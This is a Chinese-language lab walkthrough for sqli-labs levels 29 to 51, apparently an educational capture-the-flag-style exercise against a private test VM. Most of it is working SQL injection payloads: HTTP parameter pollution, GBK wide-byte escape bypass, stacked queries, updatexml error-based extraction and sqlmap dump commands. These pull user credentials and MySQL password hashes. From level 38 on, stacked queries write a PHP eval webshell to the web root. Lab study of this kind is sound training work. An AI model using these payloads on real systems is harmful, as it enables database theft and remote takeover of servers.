该用法就是 HPP(HTTP Parameter Pollution)即 HTTP 参数污染攻击的一个应用。HPP 可对服务器和客户端都能够造成一定的威胁
http://192.168.152.129:8080/tomcat-files/sqli-labs/Less-29/index.jsp?id=1&id=-1%27
可以看到返回apache数据
http://192.168.152.129:8080/tomcat-files/sqli-labs/Less-29/index.jsp?id=1&id=-1' union select 1,database(),3--+
http://192.168.152.129:8080/tomcat-files/sqli-labs/Less-29/index.jsp?id=1&id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
http://192.168.152.129:8080/tomcat-files/sqli-labs/Less-29/index.jsp?id=1&id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
http://192.168.152.129:8080/tomcat-files/sqli-labs/Less-29/index.jsp?id=1&id=-1' union select 1,2,group_concat(username,password) from security.users--+
http://192.168.152.129:8080/tomcat-files/sqli-labs/Less-29/index.jsp?id=1&id=-1' union select 1,2,group_concat(user,authentication_string) from mysql.user--+





第三十关
http参数污染 第二参数""闭合
index.jsp
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd" >
<%@ page language="java" contentType="text/html; charset=utf-8" pageEncoding="utf-8"%>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLConnection" %>
<HTML>
<HEAD>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<TITLE>Less-29 WAF PROTECT</TITLE>
</HEAD>
<body bgcolor="#000000">
<%
// 1. 获取请求参数
String id = request.getParameter("id");
String qs = request.getQueryString(); // 获取完整查询字符串(如 ?id=1&name=test)
// 2. 处理 id 参数不为 null 的情况
if (id != null && !id.trim().isEmpty()) { // 优化:增加 trim() 避免空字符串绕过
try {
// 核心防护:正则表达式验证 id 仅为纯数字(1个及以上数字)
String rex = "^\\d+$";
boolean match = id.matches(rex);
if (match) {
// 验证通过:转发请求到后端的 index.php(模拟真实业务场景)
// 注意:需确保后端 PHP 服务(如 Apache+PHP)运行在 localhost:88
URL sqliLabsUrl = new URL("http://localhost:88/Less-29/index.php?" + (qs != null ? qs : ""));
URLConnection connection = sqliLabsUrl.openConnection();
// 设置请求头(模拟浏览器访问,避免后端拒绝)
connection.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36");
connection.setConnectTimeout(5000); // 连接超时时间:5秒
connection.setReadTimeout(5000); // 读取超时时间:5秒
// 读取后端响应并输出到前端
try (BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream(), "utf-8"))) {
String inputLine;
while ((inputLine = in.readLine()) != null) {
out.print(inputLine); // 原样输出后端页面内容
}
}
} else {
// 验证失败:重定向到黑客提示页面(拦截注入)
response.sendRedirect("hacked.jsp");
}
} catch (Exception ex) {
// 异常处理:避免暴露敏感信息,仅提示通用错误
out.print("<font color='#FFFF00'>");
out.println("系统异常,请稍后重试!"); // 优化:隐藏具体异常堆栈
out.print("</font>");
// 可选:将异常日志写入服务器日志(便于排查)
ex.printStackTrace();
}
} else {
// 3. 处理 id 参数为 null 或空的情况:直接访问后端首页
try {
URL sqliLabsUrl = new URL("http://localhost:88/Less-29/index.php");
URLConnection connection = sqliLabsUrl.openConnection();
// 同样设置请求头和超时时间
connection.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36");
connection.setConnectTimeout(5000);
connection.setReadTimeout(5000);
// 读取并输出后端首页内容
try (BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream(), "utf-8"))) {
String inputLine;
while ((inputLine = in.readLine()) != null) {
out.print(inputLine);
}
}
} catch (Exception ex) {
out.print("<font color='#FFFF00'>");
out.println("系统异常,请稍后重试!");
out.print("</font>");
ex.printStackTrace();
}
}
%>
<!-- 页面底部装饰(保持与原 SQLi Labs 风格一致) -->
</font> </div><center>
<font size='4' color="#33FFFF">
<br><br><br><br>
</font>
<font size='3' color='#99FF00'>
SQLi Labs Less-29 (Tomcat WAF Protect)
</font>
</center>
</BODY>
</HTML>
hacked.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<TITLE>Access Denied - Less-29</TITLE>
<style>
body {
background-color: #000000;
color: #FFFFFF;
font-family: 'Courier New', Courier, monospace;
text-align: center;
padding-top: 50px;
}
.warning-container {
max-width: 800px;
margin: 0 auto;
border: 2px solid #FF0000;
padding: 30px;
border-radius: 10px;
background-color: #1a1a1a;
}
h1 {
color: #FF0000;
font-size: 4em;
margin-bottom: 20px;
}
.warning-message {
font-size: 1.2em;
line-height: 1.6;
margin-bottom: 30px;
}
.image-container {
margin: 20px 0;
}
.image-container img {
max-width: 100%;
height: auto;
border: none;
}
.back-link {
display: inline-block;
padding: 10px 20px;
background-color: #333333;
color: #00FF00;
text-decoration: none;
font-size: 1.2em;
border: 1px solid #00FF00;
border-radius: 5px;
transition: background-color 0.3s, color 0.3s;
}
.back-link:hover {
background-color: #00FF00;
color: #000000;
}
.waf-badge {
margin-top: 40px;
opacity: 0.7;
}
</style>
</head>
<body>
<div class="warning-container">
<h1>⚠️ HACKED ⚠️</h1>
<div class="image-container">
<img src="../images/slap1.jpg" alt="Access Denied">
</div>
<div class="warning-message">
<p>Your request has been blocked by the Web Application Firewall (WAF).</p>
<p>The <strong>'id'</strong> parameter only accepts numeric values.</p>
<p>Any attempt to inject malicious code will be logged and reported.</p>
</div>
<a href="index.jsp" class="back-link">Go Back and Try again</a>
</div>
<div class="image-container waf-badge">
<img src="../images/waf.jpg" alt="WAF Protected">
</div>
</body>
</html>
http://192.168.152.129:8080/tomcat-files/sqli-labs/Less-30/index.jsp?id=1&id=-1" union select 1,database(),3--+
http://192.168.152.129:8080/tomcat-files/sqli-labs/Less-30/index.jsp?id=1&id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
http://192.168.152.129:8080/tomcat-files/sqli-labs/Less-30/index.jsp?id=1&id=-1" union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
http://192.168.152.129:8080/tomcat-files/sqli-labs/Less-30/index.jsp?id=1&id=-1" union select 1,2,group_concat(username,password) from security.users--+
http://192.168.152.129:8080/tomcat-files/sqli-labs/Less-30/index.jsp?id=1&id=-1" union select 1,2,group_concat(user,authentication_string) from mysql.user--+





第三十一关
http参数污染 第二参数""闭合
index.jsp
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd" >
<%@ page language="java" contentType="text/html; charset=utf-8" pageEncoding="utf-8"%>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLConnection" %>
<HTML>
<HEAD>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<TITLE>Less-31 WAF PROTECT</TITLE>
</HEAD>
<body bgcolor="#000000">
<%
// 1. 获取请求参数
String id = request.getParameter("id");
String qs = request.getQueryString(); // 获取完整的原始查询字符串
// 2. 处理 id 参数不为 null 且不为空的情况
if (id != null && !id.trim().isEmpty()) {
try {
// 核心防护逻辑:使用正则表达式验证 id 是否为纯数字
String rex = "^\\d+$";
boolean match = id.matches(rex);
if (match) {
// 验证通过:将请求转发到后端的 PHP 应用
// 关键:这里直接将原始的查询字符串 qs 附加到 URL 后
// 这使得后端应用(如果解析方式不同)可能会接收到污染的参数
URL sqliLabsUrl = new URL("http://localhost:88/Less-31/index.php?" + (qs != null ? qs : ""));
URLConnection connection = sqliLabsUrl.openConnection();
// 设置请求头,模拟浏览器访问,避免被后端拒绝
connection.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36");
connection.setConnectTimeout(5000); // 设置连接超时时间
connection.setReadTimeout(5000); // 设置读取超时时间
// 读取后端 PHP 页面的响应并输出到前端
try (BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream(), "utf-8"))) {
String inputLine;
while ((inputLine = in.readLine()) != null) {
out.print(inputLine);
}
}
} else {
// 验证失败:重定向到警告页面
response.sendRedirect("hacked.jsp");
}
} catch (Exception ex) {
// 异常处理:向用户显示友好的错误信息,同时在服务器日志中打印详细异常
out.print("<font color='#FFFF00'>系统异常,请稍后重试!</font>");
ex.printStackTrace();
}
} else {
// 3. 处理 id 参数为 null 或空的情况:直接访问后端首页
try {
URL sqliLabsUrl = new URL("http://localhost:88/Less-31/index.php");
URLConnection connection = sqliLabsUrl.openConnection();
connection.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36");
connection.setConnectTimeout(5000);
connection.setReadTimeout(5000);
try (BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream(), "utf-8"))) {
String inputLine;
while ((inputLine = in.readLine()) != null) {
out.print(inputLine);
}
}
} catch (Exception ex) {
out.print("<font color='#FFFF00'>系统异常,请稍后重试!</font>");
ex.printStackTrace();
}
}
%>
<!-- 页面底部的装饰信息 -->
</font> </div><center>
<font size='4' color="#33FFFF">
<br><br>
</font>
</center>
</BODY>
</HTML>
hacked.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<TITLE>Access Denied - Less-29</TITLE>
<style>
body {
background-color: #000000;
color: #FFFFFF;
font-family: 'Courier New', Courier, monospace;
text-align: center;
padding-top: 50px;
}
.warning-container {
max-width: 800px;
margin: 0 auto;
border: 2px solid #FF0000;
padding: 30px;
border-radius: 10px;
background-color: #1a1a1a;
}
h1 {
color: #FF0000;
font-size: 4em;
margin-bottom: 20px;
}
.warning-message {
font-size: 1.2em;
line-height: 1.6;
margin-bottom: 30px;
}
.image-container {
margin: 20px 0;
}
.image-container img {
max-width: 100%;
height: auto;
border: none;
}
.back-link {
display: inline-block;
padding: 10px 20px;
background-color: #333333;
color: #00FF00;
text-decoration: none;
font-size: 1.2em;
border: 1px solid #00FF00;
border-radius: 5px;
transition: background-color 0.3s, color 0.3s;
}
.back-link:hover {
background-color: #00FF00;
color: #000000;
}
.waf-badge {
margin-top: 40px;
opacity: 0.7;
}
</style>
</head>
<body>
<div class="warning-container">
<h1>⚠️ HACKED ⚠️</h1>
<div class="image-container">
<img src="../images/slap1.jpg" alt="Access Denied">
</div>
<div class="warning-message">
<p>Your request has been blocked by the Web Application Firewall (WAF).</p>
<p>The <strong>'id'</strong> parameter only accepts numeric values.</p>
<p>Any attempt to inject malicious code will be logged and reported.</p>
</div>
<a href="index.jsp" class="back-link">Go Back and Try again</a>
</div>
<div class="image-container waf-badge">
<img src="../images/waf.jpg" alt="WAF Protected">
</div>
</body>
</html>
http://192.168.152.129:8080/tomcat-files/sqli-labs/Less-31/index.jsp?id=1&id=-1") union select 1,database(),3--+
http://192.168.152.129:8080/tomcat-files/sqli-labs/Less-31/index.jsp?id=1&id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
http://192.168.152.129:8080/tomcat-files/sqli-labs/Less-31/index.jsp?id=1&id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
http://192.168.152.129:8080/tomcat-files/sqli-labs/Less-31/index.jsp?id=1&id=-1") union select 1,2,group_concat(username,password) from security.users--+
http://192.168.152.129:8080/tomcat-files/sqli-labs/Less-31/index.jsp?id=1&id=-1") union select 1,2,group_concat(user,authentication_string) from mysql.user--+





第三十二关
转义 宽字节注入 preg_replace gbk
后端会用一些函数过滤一些特殊符号如 ' 自动在前面加上\ 来转义
也就是说经过转义后 ' ==> \' 经过gbk编码后 %5c%27
假设 我输入 %df' ==> %df%5c%27
如果数据库编码是gbk 当第一个字符ascii码大于128时 会认为前两个字符为宽字节(两个字节)
%df%5c就变成宽字节 gbk 解码 是 運 %27 也就是 ' 就没有被 \ 转义 达到绕过转义目的
部分后端代码
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
分别将 \ ' " 转义 ==> \\ \' \"
mysql_query("SET NAMES gbk");
告诉 MySQL 服务器,接下来客户端(PHP 脚本)发送过来的数据以及从服务器返回给客户端的数据,都使用 gbk 这个字符集进行编码和解码。
我们来拆解一下这个过程:
客户端 (PHP): 当你执行 echo "中文"; 或者从表单获取用户输入时,这些字符串在 PHP 内存中是有编码的(通常是 UTF-8,取决于你的 php.ini 配置 default_charset)。
网络传输: PHP 需要把这个字符串发送给 MySQL 服务器。在发送之前,它会根据 SET NAMES 指定的字符集(这里是 gbk)对字符串进行编码转换。
服务器 (MySQL): MySQL 接收到数据后,会认为这些字节流是 gbk 编码的,并按照 gbk 进行解码,然后执行相应的操作(如存入数据库)。
返回结果: 当 MySQL 需要返回数据给 PHP 时(如 SELECT 查询),它会将结果数据从其内部存储编码(取决于表字段的 CHARACTER SET)转换为 gbk 编码,然后发送给 PHP。
客户端 (PHP): PHP 接收到 gbk 编码的字节流后,再将其转换为自身的内部编码(如 UTF-8)进行处理和显示。
简单来说,SET NAMES gbk 就是为 PHP 和 MySQL 之间的通信设定了一个 “约定的编码格式”,以确保数据在传输过程中不会因为编码不匹配而导致乱码。
http://192.168.152.129:88/Less-32/?id=-1%df' union select 1,2,3--+
http://192.168.152.129:88/Less-32/?id=-1%df' union select 1,database(),3--+
http://192.168.152.129:88/Less-32/?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
http://192.168.152.129:88/Less-32/?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273 --+
# users用十六进制避免用特殊符号
http://192.168.152.129:88/Less-32/?id=-1%df' union select 1,2,group_concat(username,password) from security.users --+
http://192.168.152.129:88/Less-32/?id=-1%df' union select 1,2,group_concat(user,authentication_string) from mysql.user --+






第三十三关
转义 宽字节注入addslashes gbk
function check_addslashes($string)
{
$string= addslashes($string);
return $string;
}
换了一个过滤函数 可以同样方式注入
http://192.168.152.129:88/Less-33/?id=-1%df' union select 1,2,3--+
http://192.168.152.129:88/Less-33/?id=-1%df' union select 1,database(),3--+
http://192.168.152.129:88/Less-33/?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
http://192.168.152.129:88/Less-33/?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273 --+
# users用十六进制避免用特殊符号
http://192.168.152.129:88/Less-33/?id=-1%df' union select 1,2,group_concat(username,password) from security.users --+
http://192.168.152.129:88/Less-33/?id=-1%df' union select 1,2,group_concat(user,authentication_string) from mysql.user --+






第三十四关
转义 uname 宽字节注入
注意post请求 要抓包重放 这个回显字段数为2
部分后端代码
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname1=$_POST['uname'];
$passwd1=$_POST['passwd'];
//echo "username before addslashes is :".$uname1 ."<br>";
//echo "Input password before addslashes is : ".$passwd1. "<br>";
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname1);
fwrite($fp,'Password:'.$passwd1."\n");
fclose($fp);
$uname = addslashes($uname1);
$passwd= addslashes($passwd1);
//echo "username after addslashes is :".$uname ."<br>";
//echo "Input password after addslashes is : ".$passwd;
// connectivity
mysql_query("SET NAMES gbk");
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
uname=%df' union select 1,2--+&passwd=1&submit=Submit
uname=%df' union select 1,database()--+&passwd=1&submit=Submit
uname=%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+&passwd=1&submit=Submit
uname=%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273 --+&passwd=1&submit=Submit
uname=%df' union select 1,group_concat(username,password) from security.users--+&passwd=1&submit=Submit
uname=%df' union select 1,group_concat(user,authentication_string) from mysql.user--+&passwd=1&submit=Submit






第三十五关
转义数字型 宽字节注入
部分后端代码
function check_addslashes($string)
{
$string = addslashes($string);
return $string;
}
// take the variables
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
id是数字型数据 也就不用逃逸特殊符号
http://192.168.152.129:88/Less-35/?id=-1 union select 1,2,3--+
http://192.168.152.129:88/Less-35/?id=-1 union select 1,database(),3--+
http://192.168.152.129:88/Less-35/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
http://192.168.152.129:88/Less-35/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273 --+
http://192.168.152.129:88/Less-35/?id=-1 union select 1,2,group_concat(username,password) from security.users --+
http://192.168.152.129:88/Less-35/?id=-1 union select 1,2,group_concat(user,authentication_string) from mysql.user --+






第三十六关
转义 宽字节 mysql_real_escape_string
include("../sql-connections/sql-connect.php");
function check_quotes($string)
{
$string= mysql_real_escape_string($string);
return $string;
}
// take the variables
if(isset($_GET['id']))
{
$id=check_quotes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
mysql_real_escape_string
该函数会对以下 5 类特殊字符进行转义(在字符前添加反斜杠 \),确保数据库将其识别为 “字符串内容” 而非 “SQL 语法”:
原始字符 转义后结果 作用说明
单引号 ' \' 防止闭合 SQL 字符串(如 ' OR 1=1--)
双引号 " \" 防止双引号包裹的字符串被闭合
反斜杠 \ \\ 防止反斜杠被当作转义符滥用
NULL 字符(\0) \0 防止数据库截断字符串(NULL 是字符串终止符)
换行符 \n、回车符 \r、制表符 \t 保留原样(部分版本会转义为 \n \r \t) 防止特殊控制字符干扰 SQL 解析
和之前的没区别
http://192.168.152.129:88/Less-36/?id=-1%df' union select 1,2,3--+
http://192.168.152.129:88/Less-36/?id=-1%df' union select 1,database(),3--+
http://192.168.152.129:88/Less-36/?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
http://192.168.152.129:88/Less-36/?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273 --+
http://192.168.152.129:88/Less-36/?id=-1%df' union select 1,2,group_concat(username,password) from security.users --+
http://192.168.152.129:88/Less-36/?id=-1%df' union select 1,2,group_concat(user,authentication_string) from mysql.user --+






第三十七关
uname 宽字节 mysql_real_escape_string
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname1=$_POST['uname'];
$passwd1=$_POST['passwd'];
//echo "username before addslashes is :".$uname1 ."<br>";
//echo "Input password before addslashes is : ".$passwd1. "<br>";
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname1);
fwrite($fp,'Password:'.$passwd1."\n");
fclose($fp);
$uname = mysql_real_escape_string($uname1);
$passwd= mysql_real_escape_string($passwd1);
//echo "username after addslashes is :".$uname ."<br>";
//echo "Input password after addslashes is : ".$passwd;
// connectivity
mysql_query("SET NAMES gbk");
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
uname=%df' union select 1,2--+&passwd=1&submit=Submit
uname=%df' union select 1,database()--+&passwd=1&submit=Submit
uname=%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+&passwd=1&submit=Submit
uname=%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273 --+&passwd=1&submit=Submit
uname=%df' union select 1,group_concat(username,password) from security.users--+&passwd=1&submit=Submit
uname=%df' union select 1,group_concat(user,authentication_string) from mysql.user--+&passwd=1&submit=Submit






第三十八关
堆叠注入 ''闭合
mysqli_multi_query($con1, $sql)
是 PHP 中 MySQLi 扩展的核心函数,用于一次性执行多条以分号分隔的 SQL 语句(如 SELECT/INSERT/UPDATE/DELETE 组合),适用于需要批量执行 SQL 的场景(如初始化数据库、批量插入数据)。
堆叠注入攻击
堆叠查询注入攻击可以执行多条语句,多语句之间以分号隔开。堆叠查询注入就是利用这个特点,在第二个SQL语句中构造自己的要执行的语句
这里的话 我们利用堆叠注入 创建新的表 库 插入数据 拿webshell
http://192.168.152.129:88/Less-38/?id=-1';create database hello38 ;--+
http://192.168.152.129:88/Less-38/?id=-1';use hello38;create table hellohello38(id int,name char)--+
http://192.168.152.129:88/Less-38/?id=-1';use hello38;insert into hellohello38 (id,name) value (1,"a");--+
http://192.168.152.129:88/Less-38/?id=-1';SELECT '<?php @eval($_POST["cmd"]); ?>' INTO OUTFILE 'C:\\phpStudy_64\\phpstudy_pro\\WWW\\shell38.php';--+


第三十九关
堆叠注入 数字型
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
http://192.168.152.129:88/Less-39/?id=-1;create database hello39 ;--+
http://192.168.152.129:88/Less-39/?id=-1;use hello39;create table hellohello39(id int,name char)--+
http://192.168.152.129:88/Less-39/?id=-1;use hello39;insert into hellohello39 (id,name) value (1,"a");--+
http://192.168.152.129:88/Less-39/?id=-1;SELECT '<?php @eval($_POST["cmd"]); ?>' INTO OUTFILE 'C:\\phpStudy_64\\phpstudy_pro\\WWW\\shell39.php';--+


第四十关
堆叠注入 ('')闭合
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
http://192.168.152.129:88/Less-40/?id=-1');create database hello40;--+
http://192.168.152.129:88/Less-40/?id=-1');use hello40;create table hellohello40(id int,name char)--+
http://192.168.152.129:88/Less-40/?id=-1');use hello40;insert into hellohello40 (id,name) value (1,"a");--+
http://192.168.152.129:88/Less-40/?id=-1');SELECT '<?php @eval($_POST["cmd"]); ?>' INTO OUTFILE 'C:\\phpStudy_64\\phpstudy_pro\\WWW\\shell40.php';--+


第四十一关
堆叠注入 同39关
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
http://192.168.152.129:88/Less-41/?id=-1;create database hello41 ;--+
http://192.168.152.129:88/Less-41/?id=-1;use hello41;create table hellohello41(id int,name char)--+
http://192.168.152.129:88/Less-41/?id=-1;use hello41;insert into hellohello41 (id,name) value (1,"a");--+
http://192.168.152.129:88/Less-41/?id=-1;SELECT '<?php @eval($_POST["cmd"]); ?>' INTO OUTFILE 'C:\\phpStudy_64\\phpstudy_pro\\WWW\\shell41.php';--+


第四十二关
post password 堆叠注入
username password 要正确
login_user=Dumb&login_password=1';create database hello42;#&mysubmit=Login
login_user=Dumb&login_password=1';use hello42;create table hellohello42(id int,name char);#&mysubmit=Login
login_user=Dumb&login_password=1';use hello42;insert into hellohello42 (id,name) value (1,"a");#&mysubmit=Login
login_user=Dumb&login_password=1';SELECT '<?php @eval($_POST["cmd"]); ?>' INTO OUTFILE 'C:\\phpStudy_64\\phpstudy_pro\\WWW\\shell42.php';#&mysubmit=Login


第四十三关
post password ('')闭合
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
if (@mysqli_multi_query($con1, $sql))
login_user=Dumb&login_password=1');create database hello43;#&mysubmit=Login
login_user=Dumb&login_password=1');use hello43;create table hellohello43 (id int,name char);#&mysubmit=Login
login_user=Dumb&login_password=1');use hello43;insert into hellohello43 (id,name) value (1,"a");#&mysubmit=Login
login_user=Dumb&login_password=1');SELECT '<?php @eval($_POST["cmd"]); ?>' INTO OUTFILE 'C:\\phpStudy_64\\phpstudy_pro\\WWW\\shell43.php';#&mysubmit=Login


第四十四关
无报错提示 堆叠注入 password ''
没有报错信息 测试闭合符号 知道登录成功

login_user=Dumb&login_password=1';create database hello 44;#&mysubmit=Login
login_user=Dumb&login_password=1';use hello44;create table hellohello44 (id int,name char);#&mysubmit=Login
login_user=Dumb&login_password=1';use hello44;insert into hellohello44 (id ,name) value (1,"a");#&mysubmit=Login
login_user=Dumb&login_password=1';SELECT '<?php @eval($_POST["cmd"]); ?>' INTO OUTFILE 'C:\\phpStudy_64\\phpstudy_pro\\WWW\\shell44.php';#&mysubmit=Login


第四十五关
无报错提示 堆叠注入 password('')
抓包 猜闭合


login_user=Dumb&login_password=1');create database hello 45;#&mysubmit=Login
login_user=Dumb&login_password=1');use hello45;create table hellohello45 (id int,name char);#&mysubmit=Login
login_user=Dumb&login_password=1');use hello45;insert into hellohello45 (id ,name) value (1,"a");#&mysubmit=Login
login_user=Dumb&login_password=1');SELECT '<?php @eval($_POST["cmd"]); ?>' INTO OUTFILE 'C:\\phpStudy_64\\phpstudy_pro\\WWW\\shell45.php';#&mysubmit=Login


第四十六关
order by报错注入
http://192.168.152.129:88/Less-46/?sort=1 参数变成了sort
$id=$_GET['sort'];
if(isset($id))
{
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'SORT:'.$id."\n");
fclose($fp);
$sql = "SELECT * FROM users ORDER BY $id";
http://192.168.152.129:88/Less-46/?sort=id and updatexml(1,concat(0x7e,database(),0x7e),1)--+
http://192.168.152.129:88/Less-46/?sort=id and updatexml(1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),1)--+
http://192.168.152.129:88/Less-46/?sort=id and updatexml(1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1)--+
http://192.168.152.129:88/Less-46/?sort=id and updatexml(1,(select group_concat(username,password) from security.users),1)--+
http://192.168.152.129:88/Less-46/?sort=id and updatexml(1,substr((select authentication_string from mysql.user limit 0,1),1,60),1)--+
http://192.168.152.129:88/Less-46/?sort=id and updatexml(1,substr((select authentication_string from mysql.user limit 0,1),20,60),1)--+
#最后数据库root用户密码要分两次查






第四十七关
order by报错注入''闭合
$sql = "SELECT * FROM users ORDER BY '$id'";
http://192.168.152.129:88/Less-47/?sort=id' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
http://192.168.152.129:88/Less-47/?sort=1' and updatexml(1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),1)--+
http://192.168.152.129:88/Less-47/?sort=1' and updatexml(1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1)--+
http://192.168.152.129:88/Less-47/?sort=1' and updatexml(1,(select group_concat(username,password) from security.users),1)--+
http://192.168.152.129:88/Less-47/?sort=1' and updatexml(1,substr((select authentication_string from mysql.user limit 0,1),1,30),1)--+
http://192.168.152.129:88/Less-47/?sort=1' and updatexml(1,substr((select authentication_string from mysql.user limit 0,1),1,60),1)--+






第四十八关
order by 无报错提示 布尔盲注
用sqlmap跑
sqlmap -u http://192.168.152.129:88/Less-48/?sort=1 -level 5 -thread 5 --batch -p "sort" --dbs
sqlmap -u http://192.168.152.129:88/Less-48/?sort=1 -level 5 -thread 5 --batch -p "sort" -D security --tables
sqlmap -u http://192.168.152.129:88/Less-48/?sort=1 -level 5 -thread 5 --batch -p "sort" -D security -T users --columns
sqlmap -u http://192.168.152.129:88/Less-48/?sort=1 -level 5 -thread 5 --batch -p "sort" -D security --T users -C "username,password" --dump
sqlmap -u http://192.168.152.129:88/Less-48/?sort=1 -level 5 -thread 5 --batch -p "sort" -D mysql -T user -C "user,authentication_string" --dump





第四十九关
order by 无报错提示 布尔盲注 ''闭合
sqlmap -u http://192.168.152.129:88/Less-49/?sort=1 -level 5 -thread 5 --batch -p "sort" --dbs
sqlmap -u http://192.168.152.129:88/Less-49/?sort=1 -level 5 -thread 5 --batch -p "sort" -D security --tables
sqlmap -u http://192.168.152.129:88/Less-49/?sort=1 -level 5 -thread 5 --batch -p "sort" -D security -T users --columns
sqlmap -u http://192.168.152.129:88/Less-49/?sort=1 -level 5 -thread 5 --batch -p "sort" -D security --T users -C "username,password" --dump
sqlmap -u http://192.168.152.129:88/Less-49/?sort=1 -level 5 -thread 5 --batch -p "sort" -D mysql -T user -C "user,authentication_string" --dump
第五十关
order by 数字型堆叠注入
http://192.168.152.129:88/Less-50/?sort=-1;create database hello50;#
http://192.168.152.129:88/Less-50/?sort=-1;use hello50;create table hellohello50 (id int,name char);#
http://192.168.152.129:88/Less-50/?sort=-1;use hello50;insert into hellohello50 (id,name) value (1,"a");#
http://192.168.152.129:88/Less-50/?sort=-1;select '<?php @eval($_POST["cmd"]);?>' into outfile 'C:\\phpStudy_64\\phpstudy_pro\\WWW\\shell50.php';


第五十一关
order by ''闭合堆叠注入
$sql="SELECT * FROM users ORDER BY '$id'";
http://192.168.152.129:88/Less-51/?sort=-1';create database hello51;#
